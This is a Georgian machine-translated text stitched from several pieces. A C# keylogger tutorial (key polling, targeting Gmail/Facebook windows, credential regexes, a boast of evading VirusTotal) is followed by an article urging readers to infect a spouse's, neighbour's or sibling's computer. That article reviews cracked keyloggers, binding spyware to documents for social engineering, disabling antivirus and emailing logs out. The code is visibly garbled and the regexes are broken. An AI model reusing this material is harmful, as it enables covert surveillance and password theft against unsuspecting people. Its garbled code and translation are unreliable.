პროგრამა შედგენილია RTL-ის გარეშე Visual Studio 2013-ში. ამრიგად, ჩვენ ვიღებთ შესრულებადი ფაილის მცირე ზომას და გამართვის ვერსიაში აგების შეუძლებლობას. მონაცემები იწერება ჟურნალის ფაილში იმავე დირექტორიაში, სადაც მდებარეობს .exe ფაილი. მოხერხებულობისთვის, ლოგერი ყოველ ჩაწერისას ქმნის ახალ ფაილს, ჩაწერს კლავიშების დაჭერის დროს, ფანჯრის სახელს, რომელშიც სიმბოლოები იყო შეყვანილი და აჩერებს LSHIFT+RSHIFT დაჭერით. ეს სნაიფერი არ არის ადაპტირებული სრული კლავიატურისთვის; ზოგიერთი სერვისის გასაღები, როგორიცაა F13 ან NUM_LOCK, შეიძლება ჩაიწეროს როგორც . ვფიქრობ, ვინც ცოტათი მაინც იცნობს C/C++-ს, შეუძლიათ ადვილად დაამატოთ ისინი. უფრო მეტიც, თქვენ შეგიძლიათ მთლიანად შეცვალოთ კოდი თქვენთვის შესაფერისი.

ჰაკერების სამყარო შეიძლება დაიყოს თავდამსხმელთა სამ ჯგუფად:


1) "Skids" (script kiddies) - პატარა დამწყები ჰაკერები, რომლებიც აგროვებენ ცნობილ კოდს და კომუნალურ პროგრამებს და იყენებენ მათ რამდენიმე მარტივი მავნე პროგრამის შესაქმნელად.


2) „მყიდველები“ ​​არიან არაკეთილსინდისიერი მეწარმეები, თინეიჯერები და სხვა მღელვარების მაძიებლები. ისინი ყიდულობენ სერვისებს ინტერნეტში ასეთი პროგრამული უზრუნველყოფის დასაწერად, მისი დახმარებით აგროვებენ სხვადასხვა პირად ინფორმაციას და, შესაძლოა, ხელახლა ყიდიან.


3) “Black Hat Coders” - პროგრამირების გურუ და არქიტექტურის ექსპერტები. ისინი წერენ კოდს ნოუთბუქში და ავითარებენ ახალ ექსპლოიტებს ნულიდან.


შეუძლია ვინმეს, ვისაც აქვს კარგი პროგრამირების უნარი, გახდეს ბოლო? არა მგონია, რომ DEFCON-ის რამდენიმე სესიაზე დასწრების შემდეგ დაიწყებ რეგინის (ბმულის) მსგავსის შექმნას. მეორე მხრივ, მე მჯერა, რომ ინფორმაციული უსაფრთხოების ოფიცერი უნდა დაეუფლოს ზოგიერთ კონცეფციას, რომელზედაც აგებულია მავნე პროგრამა.


რატომ სჭირდება ინფორმაციული უსაფრთხოების პერსონალს ეს საეჭვო უნარები?


Იცოდე შენი მტერი. როგორც ჩვენ განვიხილეთ Inside Out ბლოგზე, თქვენ უნდა იფიქროთ, როგორც დამნაშავე, რომ შეაჩეროთ იგი. მე ვარ ინფორმაციული უსაფრთხოების სპეციალისტი ვარონისში და ჩემი გამოცდილებიდან გამომდინარე, თქვენ უფრო ძლიერი იქნებით ამ საქმეში, თუ გესმით, რა ნაბიჯებს გადადგამს თავდამსხმელი. ამიტომ გადავწყვიტე დამეწყო პოსტების სერია იმ დეტალების შესახებ, რომლებიც დგას მავნე პროგრამებისა და ჰაკერების სხვადასხვა ოჯახების შესახებ. მას შემდეგ რაც გააცნობიერებთ, თუ რამდენად ადვილია შეუმჩნეველი პროგრამული უზრუნველყოფის შექმნა, შეიძლება დაგჭირდეთ თქვენი კომპანიის უსაფრთხოების პოლიტიკის გადახედვა. ახლა უფრო დეტალურად.


ამ არაფორმალური "ჰაკერების 101" კლასისთვის გჭირდებათ გარკვეული პროგრამირების ცოდნა (C# და java) და Windows არქიტექტურის ძირითადი გაგება. გაითვალისწინეთ, რომ რეალურად მავნე პროგრამა იწერება C/C++/Delphi-ში, რათა არ იყოს დამოკიდებული ფრეიმიკებზე.


Keylogger


Keylogger არის პროგრამული უზრუნველყოფა ან რაიმე სახის ფიზიკური მოწყობილობა, რომელსაც შეუძლია ხელი შეუშალოს და დაიმახსოვროს კლავიშების დარტყმა კომპრომეტირებულ მანქანაზე. ეს შეიძლება ჩაითვალოს ციფრულ ხაფანგად კლავიატურაზე ყოველი დაჭერისთვის.
ხშირად ეს ფუნქცია დანერგილია სხვა, უფრო რთულ პროგრამულ უზრუნველყოფაში, მაგალითად, Trojans (Remote Access Trojans RATS), რომელიც უზრუნველყოფს თავდამსხმელისთვის თავდასხმული ინფორმაციის მიწოდებას. ასევე არსებობს ტექნიკის კლავილოგერები, მაგრამ ისინი ნაკლებად გავრცელებულია, რადგან... საჭიროებს პირდაპირ ფიზიკურ წვდომას მანქანასთან.


თუმცა, Keylogger-ის ძირითადი ფუნქციების შექმნა საკმაოდ მარტივია დაპროგრამება. გაფრთხილება. თუ გსურთ სცადოთ რომელიმე ქვემოთ ჩამოთვლილიდან, დარწმუნდით, რომ გაქვთ ნებართვები და არ არღვევთ არსებულ გარემოს და უმჯობესია ეს ყველაფერი გააკეთოთ იზოლირებულ VM-ზე. შემდეგი, ეს კოდი არ იქნება ოპტიმიზირებული, მე უბრალოდ გაჩვენებთ კოდის ხაზებს, რომლებსაც შეუძლიათ ამოცანის შესრულება, ეს არ არის ყველაზე ელეგანტური ან ოპტიმალური გზა. და ბოლოს, მე არ გეტყვით, თუ როგორ უნდა გააკეთოთ keylogger რეზისტენტული გადატვირთვისთვის, ან სცადოთ, რომ ის სრულიად შეუმჩნეველი გახადოთ სპეციალური პროგრამირების ტექნიკის გამოყენებით, ასევე წაშლისაგან დაცვა მაშინაც კი, თუ ის აღმოჩენილია.



კლავიატურასთან დასაკავშირებლად უბრალოდ უნდა გამოიყენოთ 2 ხაზი C#-ში:


1. 2. 3. public static extern int GetAsyncKeyState(Int32 i);

შეგიძლიათ მეტი გაიგოთ GetAsyncKeyState ფუნქციის შესახებ MSDN-ზე:


გასაგებად: ეს ფუნქცია განსაზღვრავს, დაჭერილი იყო თუ ღილაკი ზარის დროს და იყო თუ არა დაჭერილი წინა ზარის შემდეგ. ახლა ჩვენ მუდმივად ვუწოდებთ ამ ფუნქციას კლავიატურიდან მონაცემების მისაღებად:


1. while (true) 2. ( 3. Thread.Sleep(100); 4. for (Int32 i = 0; i< 255; i++) 5. { 6. int state = GetAsyncKeyState(i); 7. if (state == 1 || state == -32767) 8. { 9. Console.WriteLine((Keys)i); 10. 11. } 12. } 13. }

Რა ხდება აქ? ეს ციკლი გამოკითხავს თითოეულ კლავიშს ყოველ 100 ms-ში, რათა დადგინდეს მისი მდგომარეობა. თუ რომელიმე მათგანი დაჭერილია (ან დაჭერილია), ამის შესახებ შეტყობინება გამოჩნდება კონსოლზე. რეალურ ცხოვრებაში, ეს მონაცემები ბუფერირებულია და ეგზავნება თავდამსხმელს.


ჭკვიანი keylogger

მოიცადეთ, არის თუ არა აზრი ყველა აპლიკაციიდან ყველა ინფორმაციის წაშლის მცდელობას?
ზემოთ მოცემული კოდი ამოიღებს კლავიატურის დაუმუშავებელ შეყვანას ნებისმიერი ფანჯრიდან და შეყვანის ველიდან, რომელსაც ამჟამად აქცენტი აქვს. თუ თქვენი მიზანია საკრედიტო ბარათის ნომრები და პაროლები, მაშინ ეს მიდგომა არ არის ძალიან ეფექტური. რეალური სამყაროს სცენარებისთვის, როდესაც ასეთი keylogger შესრულებულია ასობით ან ათასობით მანქანაზე, მონაცემთა შემდგომი ანალიზი შეიძლება გახდეს ძალიან გრძელი და საბოლოო ჯამში უაზრო, რადგან თავდამსხმელისთვის ღირებული ინფორმაცია ამ დროისთვის შეიძლება მოძველებული იყოს.


დავუშვათ, რომ მსურს ფეისბუქის ან Gmail-ის რწმუნებათა სიგელების მოპოვება მოწონებების გასაყიდად. მაშინ ახალი იდეა არის კლავიშების გააქტიურება მხოლოდ მაშინ, როდესაც ბრაუზერის ფანჯარა აქტიურია და გვერდის სათაურში არის სიტყვა Gmail ან facebook. ამ მეთოდის გამოყენებით მე ვზრდი რწმუნებათა სიგელების მიღების შანსებს.


კოდის მეორე ვერსია:


1. while (true) 2. ( 3. IntPtr სახელური = GetForegroundWindow(); 4. if (GetWindowText(handle, buff, chars) > 0) 5. ( 6. string line = buff.ToString(); 7. if (line.Contains("Gmail")|| line.Contains("Facebook - შესვლა ან რეგისტრაცია")) 8. ( 9. //კლავიატურის შემოწმება 10. ) 11. ) 12. Thread.Sleep(100); 13. )

ეს ფრაგმენტი ამოიცნობს აქტიურ ფანჯარას ყოველ 100 წამში. ეს კეთდება GetForegroundWindow ფუნქციის გამოყენებით (დამატებითი ინფორმაცია MSDN-ზე). გვერდის სათაური ინახება buff ცვლადში, თუ ის შეიცავს gmail-ს ან facebook-ს, მაშინ იწოდება კლავიატურის სკანირების ფრაგმენტი.


ამით ჩვენ დავრწმუნდით, რომ კლავიატურა სკანირებულია მხოლოდ მაშინ, როდესაც ბრაუზერის ფანჯარა ღიაა facebook-ისა და gmail-ის საიტებზე.


კიდევ უფრო ჭკვიანი keylogger


დავუშვათ, რომ თავდამსხმელმა შეძლო მონაცემების მოპოვება ჩვენი მსგავსი კოდის გამოყენებით. მოდით ასევე ვივარაუდოთ, რომ ის საკმარისად ამბიციურია ათობით ან ასობით ათასი აპარატის დაინფიცირებისთვის. შედეგი: უზარმაზარი ფაილი გიგაბაიტიანი ტექსტით, რომელშიც ჯერ კიდევ საჭიროა საჭირო ინფორმაციის მოძიება. დროა გაეცნოთ რეგულარულ გამონათქვამებს ან რეგექსს. ეს არის რაღაც მინი ენა გარკვეული შაბლონების შესაქმნელად და ტექსტის სკანირებისთვის მოცემულ შაბლონებთან შესაბამისობისთვის. მეტი შეგიძლიათ გაიგოთ აქ.


გამარტივების მიზნით, მე დაუყოვნებლივ მივცემ მზა გამონათქვამებს, რომლებიც შეესაბამება შესვლის სახელებს და პაროლებს:


1. //ვეძებ საფოსტო მისამართს 2. ^[\w!#$%&"*+\-/=?\^_`(|)~]+(\.[\w!#$%&"* + \-/=?\^_`(|)~]+)*@((([\-\w]+\.)+(2,4))|(((1,3)\.) ( 3)(1,3)))$ 3. 4. 5. //ვეძებთ პაროლს 6. (?=^.(6,)$)(?=.*\d)(?=.*)

ეს გამონათქვამები აქ არის მინიშნება იმისა, თუ რა შეიძლება გაკეთდეს მათი გამოყენებით. რეგულარული გამონათქვამების გამოყენებით შეგიძლიათ მოძებნოთ (და იპოვოთ!) ნებისმიერი კონსტრუქცია, რომელსაც აქვს კონკრეტული და უცვლელი ფორმატი, მაგალითად, პასპორტის ნომრები, საკრედიტო ბარათები, ანგარიშები და პაროლებიც კი.
მართლაც, რეგულარული გამონათქვამები არ არის ყველაზე წასაკითხი ტიპის კოდი, მაგრამ ისინი პროგრამისტის ერთ-ერთი საუკეთესო მეგობარია, თუ არსებობს ტექსტის ანალიზების ამოცანები. Java, C#, JavaScript და სხვა პოპულარულ ენებს უკვე აქვთ მზა ფუნქციები, რომლებშიც შეგიძლიათ რეგულარული რეგულარული გამონათქვამების გადაცემა.


C#-ისთვის ასე გამოიყურება:


1. Regex re = new Regex(@"^[\w!#$%&"*+\-/=?\^_`(|)~]+(\.[\w!#$%&"* +\-/=?\^_`(|)~]+)*@((([\-\w]+\.)+(2,4))|(((1,3)\.) (3)(1,3)))$"); 2. Regex re2 = new Regex(@"(?=^.(6,)$)(?=.*\d)(?=.*)"); 3. string email = " [ელფოსტა დაცულია]"; 4. string pass = "abcde3FG"; 5. Match შედეგი = re.Match(email); 6. Match result2 = re2.Match(pass);

სადაც პირველი გამოხატულება (re) ემთხვევა ნებისმიერ ელფოსტას, ხოლო მეორე (re2) ემთხვევა 6 სიმბოლოზე მეტი ნებისმიერი ალფაციფრული სტრუქტურას.


უფასო და სრულიად შეუმჩნეველი


ჩემს მაგალითში გამოვიყენე Visual Studio - შეგიძლიათ გამოიყენოთ თქვენი საყვარელი გარემო - 30 წუთში ასეთი keylogger-ის შესაქმნელად.
მე რომ ნამდვილი თავდამსხმელი ვიყო, მაშინ დავმიზნებდი რაიმე რეალურ სამიზნეს (საბანკო საიტები, სოციალური ქსელები და ა.შ.) და შევცვლიდი კოდს ამ მიზნების შესატყვისად. რა თქმა უნდა, მე ასევე გავმართავ ფიშინგს ელ.ფოსტის კამპანიას ჩვენი პროგრამით.


რჩება ერთი კითხვა: ნამდვილად იქნება თუ არა ასეთი პროგრამული უზრუნველყოფის აღმოჩენა უსაფრთხოების პროგრამების მიერ?


შევადგინე ჩემი კოდი და შევამოწმე exe ფაილი Virustotal ვებსაიტზე. ეს არის ვებ-ზე დაფუძნებული ინსტრუმენტი, რომელიც ითვლის თქვენ მიერ გადმოწერილი ფაილის ჰეშს და ეძებს მას ცნობილი ვირუსების მონაცემთა ბაზაში. სიურპრიზი! ბუნებრივია, ვერაფერი იპოვეს.



ეს არის მთავარი! თქვენ ყოველთვის შეგიძლიათ შეცვალოთ კოდი და განავითაროთ, მუდამ რამდენიმე ნაბიჯით უსწრებთ საფრთხის სკანერებს. თუ თქვენ შეძლებთ საკუთარი კოდის დაწერას, ის თითქმის გარანტირებული იქნება, რომ ის შეუმჩნეველი იქნება. სრული ანალიზი შეგიძლიათ წაიკითხოთ ამ გვერდზე.


ამ სტატიის მთავარი მიზანია აჩვენოს, რომ მხოლოდ ანტივირუსების გამოყენებით თქვენ ვერ შეძლებთ სრულად უზრუნველყოთ უსაფრთხოება თქვენს საწარმოში. პოტენციურად მავნე ქმედებების იდენტიფიცირებისთვის საჭიროა ყველა მომხმარებლის და თუნდაც სერვისის ქმედებების უფრო სიღრმისეული შეფასება.


შემდეგ სტატიაში მე გაჩვენებთ, თუ როგორ უნდა გააკეთოთ ასეთი პროგრამული უზრუნველყოფის მართლაც გამოუცნობი ვერსია.

ჩვენ შორის რომელს არ სურდა ერთხელ მაინც ეგრძნო თავი მაგარ ჰაკერად და რაღაც მაინც გატეხა? :) მაშინაც კი, თუ არა, მაშინ მოდით ვისაუბროთ იმაზე, თუ რამდენად კარგი იქნება პაროლის მიღება თქვენი ფოსტიდან/სოციალური ქსელიდან. მეგობრის, ცოლის/ქმრის, ოთახის თანამცხოვრის ქსელი ერთხელ მაინც დაფიქრდა ყველას. :) დიახ, და სადღაც უნდა დაიწყოთ, ბოლოს და ბოლოს! თავდასხმების (ჰაკერების) მნიშვნელოვანი ნაწილი მოიცავს მსხვერპლის კომპიუტერის ეგრეთ წოდებულ keylogger-ებით (spyware) ინფიცირებას.

ასე რომ, დღევანდელ სტატიაში ვისაუბრებთ იმაზე, თუ რა არის უფასო პროგრამები Windows-ზე დაფუძნებული კომპიუტერების მონიტორინგისთვის, სადაც შეგიძლიათ ჩამოტვირთოთ მათი სრული ვერსიები, როგორ დააინფიციროთ მსხვერპლის კომპიუტერი და რა არის მათი გამოყენების მახასიათებლები.

მაგრამ პირველი, პატარა შესავალი.

რა არის keyloggers და რატომ არის საჭირო?

მგონი თქვენ თვითონ მიხვდით რა არის. როგორც წესი, ისინი წარმოადგენს ერთგვარ პროგრამას, რომელიც დამალულია (თუმცა ეს ყოველთვის ასე არ არის) დაინსტალირებული მსხვერპლის კომპიუტერზე, რის შემდეგაც ის აღრიცხავს ამ კვანძზე აბსოლუტურად ყველა კლავიშს. უფრო მეტიც, თავად დაწკაპუნებების გარდა, ჩვეულებრივ ჩაიწერება შემდეგი: დაწკაპუნების (მოქმედების) თარიღი და დრო და პროგრამა, რომელშიც შესრულდა ეს მოქმედებები (ბრაუზერი, ვებსაიტის მისამართის ჩათვლით (ჩქარა, ჩვენ მაშინვე ვხედავთ რა პაროლებს არის!); ლოკალური აპლიკაცია; სისტემური სერვისები (მათ შორის Windows შესვლის პაროლები) და ა.შ.).

აქედან ერთ-ერთი პრობლემა მაშინვე ჩანს: მე მივიღე წვდომა ჩემი მეზობლის კომპიუტერზე რამდენიმე წუთის განმავლობაში და მსურს მისი პაროლი VK-დან მივიღო! დავაინსტალირე სასწაული პროგრამა და დავაბრუნე კომპიუტერი. როგორ მოვიძიო პაროლები მოგვიანებით? ეძებთ გზას, რომ ხელახლა აიღოთ კომპიუტერი მისგან? კარგი ამბავია: ჩვეულებრივ არა. Keylogger-ების უმეტესობას შეუძლია არა მხოლოდ შეინახოს მოქმედებების მთელი დაგროვილი მონაცემთა ბაზა ადგილობრივად, არამედ გაგზავნოს იგი დისტანციურად. ჟურნალების გაგზავნის მრავალი ვარიანტი არსებობს:

  • ფიქსირებული ელექტრონული ფოსტა (შეიძლება იყოს რამდენიმე) ყველაზე მოსახერხებელი ვარიანტია;
  • FTP სერვერი (ვის აქვს ის);
  • SMB სერვერი (ეგზოტიკური და არც თუ ისე მოსახერხებელი).
  • ფიქსირებული ფლეშ დრაივი (თქვენ ჩასვით მას მსხვერპლის კომპიუტერის USB პორტში და ყველა ჟურნალი იქ ავტომატურად კოპირდება უხილავ რეჟიმში!).

რატომ არის ეს ყველაფერი საჭირო? ვფიქრობ, პასუხი აშკარაა. პაროლების ბანალური ქურდობის გარდა, ზოგიერთ კლავიაჟერს შეუძლია მრავალი სხვა კარგი რამის გაკეთება:

  • კორესპონდენციის აღრიცხვა მითითებულ სოციალურ ქსელებში. ქსელები ან მყისიერი მესინჯერები (მაგალითად, Skype).
  • ეკრანის სკრინშოტების გადაღება.
  • ვებკამერის მონაცემების ნახვა/გადაღება (რაც შეიძლება ძალიან საინტერესო იყოს).

როგორ გამოვიყენოთ keyloggers?

და ეს რთული კითხვაა. თქვენ უნდა გესმოდეთ, რომ მხოლოდ მოსახერხებელი, ფუნქციონალური, კარგი keylogger-ის პოვნა საკმარისი არ არის.

Ისე, რა არის საჭირო ჯაშუშური პროგრამის წარმატებით მუშაობისთვის?:

  • ადმინისტრატორის წვდომა დისტანციურ კომპიუტერზე.
    უფრო მეტიც, ეს სულაც არ ნიშნავს ფიზიკურ წვდომას. მასზე წვდომა მარტივად შეგიძლიათ RDP (Remote Desktop Service) საშუალებით; TeamViewer; AmmyAdmin და ა.შ.
    როგორც წესი, ყველაზე დიდი სირთულეები სწორედ ამ წერტილს უკავშირდება. თუმცა, ახლახან დავწერე სტატია იმის შესახებ, თუ როგორ მივიღოთ ადმინისტრატორის უფლებები Windows-ში.
  • ანონიმური ელფოსტა / ftp (რომლითაც თქვენ არ იქნებით იდენტიფიცირებული).
    რა თქმა უნდა, თუ თქვენ არღვევთ დეიდა შურას თქვენი მეზობლისთვის, ეს წერტილი შეიძლება უსაფრთხოდ გამოტოვოთ. როგორც ეს ხდება იმ შემთხვევაში, თუ თქვენ ყოველთვის გაქვთ ხელთ მსხვერპლის კომპიუტერი (აჰა, გაიგეთ თქვენი ძმის/დის პაროლები).
  • სამუშაო ანტივირუსების / შიდა Windows დაცვის სისტემების ნაკლებობა.
    საჯარო კლავიშების უმეტესობა (რომელზეც ქვემოთ იქნება განხილული) ცნობილია ანტივირუსული პროგრამული უზრუნველყოფის აბსოლუტური უმრავლესობისთვის (თუმცა არის ლოგერი ვირუსები, რომლებიც ჩაშენებულია OS ბირთვში ან სისტემის დრაივერში, და ანტივირუსები ვეღარ ახერხებენ მათ აღმოჩენას ან განადგურებას, თუნდაც აქვთ. აღმოაჩინა ისინი). ზემოაღნიშნულიდან გამომდინარე, ანტივირუსული პროგრამა, ასეთის არსებობის შემთხვევაში, უმოწყალოდ უნდა განადგურდეს. ანტივირუსების გარდა, სისტემები, როგორიცაა Windows Defender (ესენი პირველად გამოჩნდა Windows 7-ში და შემდეგში) ასევე საფრთხეს უქმნის ჩვენს ჯაშუშურ პროგრამას. ისინი აღმოაჩენენ საეჭვო აქტივობას კომპიუტერზე გაშვებულ პროგრამაში. თქვენ შეგიძლიათ მარტივად იპოვოთ ინფორმაცია იმის შესახებ, თუ როგორ უნდა მოიშოროთ ისინი Google-ში.

ეს, ალბათ, ყველა აუცილებელი და საკმარისი პირობაა თქვენი წარმატებისთვის სხვა ადამიანების პაროლების / კორესპონდენციის / ფოტოების მოპარვის სფეროში ან რისი ხელყოფაც გსურთ.

რა ტიპის spyware არსებობს და საიდან შემიძლია მათი ჩამოტვირთვა?

მაშ ასე, დავიწყოთ ძირითადი ქეილოგერების მიმოხილვა, რომლებსაც ვიყენებდი ჩემს ყოველდღიურ პრაქტიკაში მათი სრული ვერსიების უფასო ჩამოტვირთვების ბმულებით (ანუ ყველა ვერსია უახლესი ამ მომენტშია (რომლისგანაც შესაძლებელია განკურნების პოვნა) და უკვე მომუშავე და გამოცდილი ბზარები).

0. ვირთხა!

რეიტინგი (10-დან):

  • სტელსი: 10
  • მოხერხებულობა/გამოყენება: 9
  • ფუნქციონალობა: 8

ეს უბრალოდ ბომბია და არა ქეილოგერი! მუშა მდგომარეობაში სჭირდება 15-20 კბ. რატომ გაგიკვირდებათ: ის მთლიანად ასამბლეის ენაზეა დაწერილი (ვეტერან პროგრამისტებს ცრემლები სცვივა) და დაწერილია ძირითადად ენთუზიასტი ჰაკერების მიერ, რის გამოც მისი საიდუმლოების დონე უბრალოდ გასაოცარია: ის მუშაობს OS ბირთვის დონეზე!

გარდა ამისა, პაკეტში შედის FileConnector - მინი პროგრამა, რომელიც საშუალებას გაძლევთ დააკავშიროთ ეს keylogger აბსოლუტურად ნებისმიერ პროგრამასთან. შედეგად, თქვენ მიიღებთ თითქმის იგივე ზომის ახალ exe-ს და გაშვებისას ის მუშაობს ზუსტად ისე, როგორც პროგრამა, რომლითაც თქვენ დააწებეთ! მაგრამ პირველი გაშვების შემდეგ, თქვენი keylogger ავტომატურად დაინსტალირდება უხილავ რეჟიმში იმ პარამეტრებით, რომლებიც ადრე მიუთითეთ ჟურნალების გაგზავნისთვის. მოსახერხებელია, არა?

შესანიშნავი შესაძლებლობა სოციალური ინჟინერიისთვის (მიიტანეთ თამაშის ფაილი/პრეზენტაცია მეგობარს ფლეშ დრაივზე, ან თუნდაც უბრალოდ Word დოკუმენტი (მე გეტყვით, როგორ შექმნათ exe ფაილი, რომელიც გაუშვებს კონკრეტულ word/excel ფაილს ერთ-ერთში. ჩემი შემდეგი სტატიები), გაშვება, ყველაფერი კარგად და მშვენიერია, მაგრამ მეგობარი უკვე უხილავად არის ინფიცირებული!). ან თქვენ უბრალოდ გაუგზავნეთ ეს ფაილი მეგობარს ფოსტით (სასურველია მისი ჩამოტვირთვის ბმული, რადგან თანამედროვე ფოსტის სერვერები კრძალავენ exe ფაილების გაგზავნას). რა თქმა უნდა, ინსტალაციის დროს ჯერ კიდევ არსებობს ანტივირუსების რისკი (მაგრამ ინსტალაციის შემდეგ ის არ იარსებებს).

სხვათა შორის, სხვა ტექნიკის დახმარებით თქვენ შეგიძლიათ დააწებოთ ნებისმიერი ფარული ინსტალაციის განაწილება (ეს არის The Rat! და Elite keylogger-ში) არა მხოლოდ exe ფაილებით (რაც ჯერ კიდევ იწვევს ეჭვს კიდევ უფრო მეტ-ნაკლებად მოწინავე მომხმარებლებს შორის). არამედ ჩვეულებრივი word/excel და თუნდაც pdf ფაილებით! უბრალო pdf-ზე ვერავინ იფიქრებს არაფერს, მაგრამ ეს ასე არ არის! :) როგორ კეთდება ეს, ეს ცალკე სტატიის თემაა. განსაკუთრებით გულმოდგინეებს შეუძლიათ მომწერონ კითხვები უკუკავშირის ფორმის საშუალებით. ;)

მთლიანობაში, ვირთხა! შეიძლება აღწერილი იყოს ძალიან დიდი ხნის განმავლობაში და ბევრი. ეს ჩემზე ბევრად უკეთ გაკეთდა. იქვე არის გადმოსაწერი ლინკიც.

1. Elite keylogger

რეიტინგი (10-დან):

  • სტელსი: 10
  • მოხერხებულობა/გამოყენება: 9
  • ფუნქციონალობა: 8

ალბათ ერთ-ერთი საუკეთესო ქეილოგერი ოდესმე შექმნილი. მისი შესაძლებლობები, გარდა სტანდარტული ნაკრებისა (ყველა დაწკაპუნების თვალთვალი აპლიკაციების/ფანჯრების/საიტების კონტექსტში), მოიცავს მყისიერი მესინჯერის შეტყობინებების, ვებკამერიდან სურათებს და ასევე - რაც ძალიან მნიშვნელოვანია! - WinLogon სერვისის პაროლების ჩარევა. სხვა სიტყვებით რომ ვთქვათ, ის წყვეტს Windows-ის შესვლის პაროლებს (დომენის ჩათვლით!). ეს შესაძლებელი გახდა სისტემის დრაივერის დონეზე მუშაობისა და OS-ის ჩატვირთვის ეტაპზე გაშვების წყალობით. იგივე მახასიათებლის გამო, ეს პროგრამა სრულიად უხილავი რჩება როგორც Kasperosky-სთვის, ასევე ყველა სხვა მავნე პროგრამისთვის. გულწრფელად რომ ვთქვათ, მე არ შემხვედრია არც ერთი keylogger, რომელსაც ამის უნარი შესწევს.

თუმცა, ზედმეტად არ უნდა მოიტყუოთ თავი. თავად ინსტალერი იცნობს ანტივირუსებს ძალიან მარტივად და მის დასაყენებლად დაგჭირდებათ ადმინისტრატორის უფლებები და ყველა ანტივირუსული სერვისის გამორთვა. ინსტალაციის შემდეგ ყველაფერი იდეალურად იმუშავებს ნებისმიერ შემთხვევაში.

გარდა ამისა, აღწერილი ფუნქცია (მუშაობს OS ბირთვის დონეზე) აწესებს მოთხოვნებს OS ვერსიისთვის, რომელზედაც იმუშავებს keyloggers. ვერსია 5-5.3 (რომლის ბმულები მოცემულია ქვემოთ) მხარს უჭერს ყველაფერს Windows 7-მდე და მათ შორის. Win 8/10, ისევე როგორც Windows სერვერის ოჯახი (2003 / 2008 / 2012) აღარ არის მხარდაჭერილი. არის ვერსია 6, რომელიც იდეალურად ფუნქციონირებს, მათ შორის. win 8 და 10-ზე, თუმცა გატეხილი ვერსიის პოვნა ამჟამად შეუძლებელია. ალბათ მომავალში გამოჩნდება. ამასობაში, შეგიძლიათ ჩამოტვირთოთ Elite keylogger 5.3 ზემოთ მოცემული ბმულიდან.

არ არსებობს ქსელის მუშაობის რეჟიმი, ამიტომ არ არის შესაფერისი დამსაქმებლების (მათი თანამშრომლების კომპიუტერების მონიტორინგისთვის) ან ადამიანთა მთელი ჯგუფის გამოსაყენებლად.

მნიშვნელოვანი პუნქტია ინსტალაციის დისტრიბუციის შექმნის შესაძლებლობა წინასწარ განსაზღვრული პარამეტრებით (მაგალითად, მითითებული ელექტრონული ფოსტის მისამართით, სადაც საჭირო იქნება ჟურნალების გაგზავნა). ამავდროულად, დასასრულს მიიღებთ სადისტრიბუციო კომპლექტს, რომელიც გაშვებისას არ აჩვენებს აბსოლუტურად რაიმე გაფრთხილებას ან ფანჯარას და ინსტალაციის შემდეგ მას შეუძლია საკუთარი თავის განადგურებაც კი (თუ შეამოწმებთ შესაბამის ვარიანტს).

მე-5 ვერსიის რამდენიმე ეკრანის სურათი (იმისათვის, რომ ნახოთ რამდენად ლამაზი და მოსახერხებელია ყველაფერი):

2. All-in-one keylogger.

რეიტინგი (10-დან):

  • სტელსი: 3
  • მოხერხებულობა/გამოყენება: 9
  • ფუნქციონალობა: 8

ეს ასევე ძალიან, ძალიან მოსახერხებელი რამ არის. ფუნქციონირება საკმაოდ მაღალია Elite keylogger-ის დონეზე. საქმე უარესია საიდუმლოებით. Winlogon-ის პაროლები აღარ იჭრება, ის არ არის დრაივერი და არ არის ჩაშენებული ბირთვში. თუმცა, ის დაინსტალირებულია სისტემის და ფარული AppData დირექტორიებში, რომლებიც არც ისე ადვილად ხელმისაწვდომია არაავტორიზებული მომხმარებლებისთვის (არა მათთვის, ვისი სახელითაც არის დაინსტალირებული). მიუხედავად ამისა, ანტივირუსები ადრე თუ გვიან წარმატებით ასრულებენ ამას, რაც ამ ნივთს განსაკუთრებით საიმედო და უსაფრთხოს ხდის, როდესაც გამოიყენება, მაგალითად, სამსახურში საკუთარი ზემდგომების თვალთვალისთვის. ;) რამეზე დაწებება ან კოდის დაშიფვრა ანტივირუსებისგან დასამალად არ იმუშავებს.

მუშაობს Win OS-ის ნებისმიერ ვერსიაზე (რაც სასიამოვნო და პრაქტიკულია).

რაც შეეხება დანარჩენს, ყველაფერი კარგადაა: ის აღრიცხავს ყველაფერს (გარდა ვინდოუსის შესვლის პაროლებისა), აგზავნის სადმე (მათ შორის ელფოსტა, ftp, ფიქსირებული ფლეშ დრაივი). მოხერხებულობის თვალსაზრისით, ყველაფერი ასევე შესანიშნავია.

3. Spytech SpyAgent.

რეიტინგი (10-დან):

  • სტელსი: 4
  • მოხერხებულობა/გამოყენება: 8
  • ფუნქციონალობა: 10

ასევე კარგი keylogger, თუმცა საეჭვო საიდუმლოებით. მხარდაჭერილი OS ვერსიები ასევე შესაძლებელია. ფუნქციონირება წინა ვარიანტების მსგავსია. არსებობს საინტერესო თვითგანადგურების ფუნქცია განსაზღვრული პერიოდის შემდეგ (ან წინასწარ განსაზღვრული თარიღის მიღწევის შემდეგ).

გარდა ამისა, შესაძლებელია ვიდეოს ჩაწერა ვებკამერიდან და ხმის მიკროფონიდან, რომელიც ასევე შეიძლება იყოს ძალიან პოპულარული და რომელიც წინა ორ წარმომადგენელს არ აქვს.

არსებობს ქსელის მუშაობის რეჟიმი, რომელიც მოსახერხებელია კომპიუტერების მთელი ქსელის მონიტორინგისთვის. სხვათა შორის, StaffCop-ს აქვს (ის არ შედის მიმოხილვაში ერთი მომხმარებლის - ინდივიდუალურისთვის უსარგებლობის გამო). შესაძლოა, ეს პროგრამა იდეალურია დამსაქმებლებისთვის, რათა დაზვერონ თავიანთი თანამშრომლებისთვის (თუმცა ამ სფეროში ლიდერები არიან უპირობოდ StaffCop და LanAgent - თუ იურიდიული პირი ხართ, აუცილებლად მიხედეთ მათ მიმართულებით). ან თვალყური ადევნოთ თქვენს შთამომავლებს, რომლებსაც უყვართ ჯდომა და ყურება „ზრდასრული საიტები“. იმათ. სადაც საჭიროა არა დამალვა, არამედ მოხერხებულობა (მათ შორის ლამაზი ჟურნალის ანგარიშები და ა.შ.) და ფუნქციონირება მითითებული საიტების/პროგრამების დაბლოკვისთვის (SpyAgent-საც აქვს).

4. Spyrix პერსონალური მონიტორი.

რეიტინგი (10-დან):

  • სტელსი: 4
  • მოხერხებულობა/გამოყენება: 6
  • ფუნქციონალობა: 10

